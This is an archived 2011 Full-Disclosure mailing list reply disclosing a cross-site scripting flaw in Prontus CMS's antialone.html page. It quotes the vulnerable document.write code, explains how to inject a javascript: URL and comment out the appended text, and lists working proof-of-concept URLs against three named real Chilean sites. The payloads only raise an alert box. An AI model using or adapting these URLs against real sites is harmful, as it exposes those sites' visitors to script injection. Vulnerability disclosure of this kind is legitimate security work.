full-disclosure - Re: Prontus CMS: Cross-Site Scripting vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Mon, 11 Jul 2011 15:04:15 -0400
From: "Zerial." <fernando@...ial.org>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Prontus CMS: Cross-Site Scripting
	vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 07/11/11 15:01, Zerial. wrote:
> Prontus is a /chilean/ "CMS" used by many sites in Chile.
> 
> The vulnerability is into "antialone.html" which contains some frames
> using the value of "page" as "src" attribute:
> 
> +-----------------------------antialone.html------------------------------------------+
> [...]
> page = page + '?' + Math.random();
> [...]
> document.write('  <frame name="cont" src="' + page + '" marginwidth="0"
> marginheight="0">');
> [...]
> +-------------------------------------------------------------------------------------+
> 
> 
> If you enter "javascript:alert(1);" the 'src' will be
> "javascript:alert(1);?<random number here>", now you must to "comment"
> all after your javascript code. Example: javascript:alert(1);//
> 
> Now you can exploit it:
> 
> -
> http://www.fonasa.cl/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//
> 
> -
> http://www.senador.cl/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//
> 
> -
> http://www.ucv.cl/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//
> 
> And many other sites...
> 
> 
> Read this report in Spanish: http://bit.ly/p4l50m




Sorry, the correct URL for Spanish report is: http://bit.ly/pmjiq7



Cheers,


- -- 
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@...beres.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk4bSS4ACgkQIP17Kywx9JRNbwCcDaprY0dhP6c/iRk4tk/9f8tc
GMsAnikk6OTnZVYLVkDpGEywHj8ZveUq
=6G9v
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/